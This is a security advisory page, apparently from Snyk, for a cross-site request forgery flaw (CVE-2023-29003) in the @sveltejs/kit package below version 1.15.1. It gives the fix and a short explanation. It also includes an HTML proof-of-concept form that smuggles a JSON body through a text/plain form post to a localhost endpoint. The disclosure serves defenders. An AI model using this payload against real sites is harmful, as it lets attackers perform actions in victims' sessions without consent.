Cross-site Request Forgery (CSRF) Affecting @sveltejs/kit package, versions <1.15.1
Threat Intelligence
EPSS
0.1% (42nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-SVELTEJSKIT-5411362
- published 5 Apr 2023
- disclosed 4 Apr 2023
- credit Viktor Chuchurski
Introduced: 4 Apr 2023
CVE-2023-29003 Open this link in a new tabHow to fix?
Upgrade @sveltejs/kit
to version 1.15.1 or higher.
Overview
@sveltejs/kit is a SvelteKit framework and CLI
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) by sending a JSON request with a different Content-Type
header value, such as text/plain
. This allows malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users’ accounts.
PoC
<!DOCTYPE html>
<html>
<head></head>
<body>
<h1 id="name"></h1>
<form action="http://localhost:3000/api/test" method="POST" enctype="text/plain">
<input type="hidden" name="{"name":"test" value="","age":123}" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
References
CVSS Scores
version 3.1